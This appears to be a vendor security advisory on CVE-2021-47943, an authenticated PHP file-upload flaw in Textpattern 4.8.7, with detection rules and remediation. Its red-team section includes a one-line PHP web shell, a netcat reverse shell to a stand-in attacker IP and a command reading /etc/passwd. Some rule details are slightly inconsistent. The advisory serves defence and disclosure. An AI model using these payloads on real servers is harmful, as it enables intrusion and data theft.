CVE-2021-47943

Executive Summary

CVE-2021-47943 is a critical Remote Code Execution (RCE) vulnerability in Textpattern CMS version 4.8.7. The flaw resides in the file upload functionality within the administrative content area. An authenticated attacker with at least "Publisher" or "Admin" privileges can upload a malicious PHP file (e.g., a web shell) via the "Files" section. Once uploaded, the attacker can access the file directly at /textpattern/files/ and pass arbitrary system commands via GET parameters, which are then executed by the system() PHP function. This allows for complete compromise of the web server, including data exfiltration, lateral movement, and persistence.

The vulnerability is classified as Critical with a CVSS score of 8.8. The attack vector is network-based, requires low complexity, and only requires low-level privileges (authenticated user). The impact on confidentiality, integrity, and availability is high.

Supply Chain & Package Security

Textpattern CMS is a PHP-based content management system distributed as a standalone package. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is inherent to the core application code. The risk is amplified by the fact that no official patch has been released, leaving all instances of version 4.8.7 vulnerable. Organizations using Textpattern must rely on manual mitigation or third-party security controls.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with file upload privileges.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to the server.
• Integrity (I): High (H) – Full write access to the server.
• Availability (A): High (H) – Full control over server processes.

Threat Level: Critical. The combination of low privileges required and high impact makes this a prime target for attackers. The lack of a patch increases the urgency.

Deep Dive & Mechanics

The vulnerability is a classic case of Unrestricted File Upload of Dangerous File Type (CWE-434). The Textpattern CMS file upload functionality in the admin panel does not properly validate the file extension or content type. Specifically, it allows the upload of .php files.

Attack Flow:

1. Authentication: The attacker logs into the Textpattern admin panel with a user account that has "Publisher" or "Admin" privileges.
2. File Upload: The attacker navigates to the "Content" -> "Files" section and uploads a PHP web shell (e.g., shell.php). The application does not check the file extension or MIME type.
3. File Storage: The uploaded file is stored in the /textpattern/files/ directory on the web server.
4. Command Execution: The attacker accesses the uploaded file via a web browser, e.g., http://target.com/textpattern/files/shell.php. The PHP code in the shell is executed by the server.
5. Parameter Passing: The shell typically accepts GET parameters (e.g., cmd) and passes them to the system() function. For example: http://target.com/textpattern/files/shell.php?cmd=id.
6. System Compromise: The system() function executes the command on the server, allowing the attacker to run arbitrary OS commands.

Root Cause: The lack of file type validation and the use of the dangerous system() function in the uploaded PHP file.

Vulnerable vs. Patched Code

Vulnerable Code (Textpattern 4.8.7):

The vulnerable code is in the file upload handler. The exact location is in the txp_file class or similar. The core issue is that the application does not filter file extensions.

// Vulnerable: No extension check
$file = $_FILES['thefile'];
$target_path = "files/" . $file['name'];
move_uploaded_file($file['tmp_name'], $target_path);

Patched Code (Hypothetical):

A proper patch would include:

1. Extension Whitelisting: Only allow safe file types (e.g., .jpg, .png, .pdf).
2. MIME Type Validation: Check the actual MIME type of the uploaded file.
3. Disable Execution: Ensure the upload directory does not allow PHP execution (e.g., via .htaccess or web server config).

// Patched: Extension whitelist
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_extension), $allowed_extensions)) {
    die("Invalid file type.");
}
$target_path = "files/" . basename($file['name']);
move_uploaded_file($file['tmp_name'], $target_path);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid Textpattern admin account (Publisher or Admin).
• Network access to the Textpattern instance.

Step-by-Step Exploitation:

1. Prepare the Web Shell: Create a simple PHP web shell (e.g., shell.php):

   <?php
   system($_GET['cmd']);
   ?>
   

2. Upload the Shell:

   • Log in to the Textpattern admin panel.
   • Navigate to Content -> Files.
   • Click "Upload" and select shell.php.
   • Submit the form.

3. Execute Commands: Access the uploaded shell:

   http://target.com/textpattern/files/shell.php?cmd=id
   

   The output of the id command will be displayed.

Advanced Payloads:

• Reverse shell: cmd=nc -e /bin/sh attacker_ip 4444
• Data exfiltration: cmd=cat /etc/passwd

Blue Team (Detection & Response)

Detection Steps:

1. Monitor File Uploads: Look for uploads of .php, .phtml, .php5 files in the /textpattern/files/ directory.
2. Web Server Logs: Check access logs for requests to /textpattern/files/*.php with cmd or other suspicious GET parameters.
3. File Integrity Monitoring: Alert on new files in the upload directory with executable extensions.

Response Actions:

• Immediately isolate the affected server.
• Remove the malicious file from the /textpattern/files/ directory.
• Change all admin passwords.
• Review user accounts for unauthorized creation.
• Apply virtual patching via WAF (e.g., block .php uploads to that directory).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious PHP files in /textpattern/files/ (e.g., shell.php, cmd.php, backdoor.php).
• Files with double extensions (e.g., image.php.jpg).

Network IOCs:

• HTTP requests to /textpattern/files/*.php with cmd, exec, system, or shell_exec parameters.
• Outbound connections from the web server to unknown IPs on common ports (4444, 8080, etc.).

Log IOCs:

• Web server logs showing 200 OK responses for .php files in the upload directory.
• Admin panel logs showing file uploads by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2021_47943_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2021-47943"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2021-47943"
    strings:
        $system = "system("
        $shell_exec = "shell_exec("
        $exec = "exec("
        $passthru = "passthru("
        $popen = "popen("
        $proc_open = "proc_open("
        $cmd_param = "$_GET['cmd']"
        $cmd_param2 = "$_POST['cmd']"
    condition:
        any of ($system, $shell_exec, $exec, $passthru, $popen, $proc_open) and
        any of ($cmd_param, $cmd_param2)
}

Sigma Rule

title: CVE-2021-47943 - Textpattern RCE via File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2021-47943 by monitoring for PHP file uploads and subsequent command execution.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection_upload:
        cs-method: POST
        cs-uri-stem: /textpattern/index.php
        cs-uri-query: '*event=file*'
    selection_shell:
        cs-method: GET
        cs-uri-stem: '/textpattern/files/*.php'
        cs-uri-query: '*cmd=*'
    condition: selection_upload or selection_shell
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-47943 - Textpattern RCE File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/textpattern/index.php"; http_uri; content:"event=file"; http_client_body; fileext:".php"; classtype:web-application-attack; sid:1000001; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2021-47943 - Textpattern RCE Command Execution"; flow:to_client,established; content:"GET"; http_method; content:"/textpattern/files/"; http_uri; content:"cmd="; http_uri; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions (No Patch Available):

1. Disable File Uploads: If possible, disable the file upload functionality in the admin panel until a patch is released.
2. Restrict Upload Directory: Add a .htaccess file to /textpattern/files/ to prevent PHP execution:

   <FilesMatch "\.php$">
       Order Deny,Allow
       Deny from all
   </FilesMatch>
   

3. Web Application Firewall (WAF): Create rules to block uploads of .php files and block requests to /textpattern/files/*.php with cmd parameters.
4. User Access Control: Review and limit admin accounts. Only grant file upload privileges to trusted users.
5. Monitor Logs: Actively monitor web server logs for suspicious activity.

Long-Term Fix:

• Apply the official patch when released by Textpattern.
• Upgrade to a patched version of the CMS.
• Implement a secure file upload mechanism with extension whitelisting and MIME validation.

Valters IT
Securing Digital Frontiers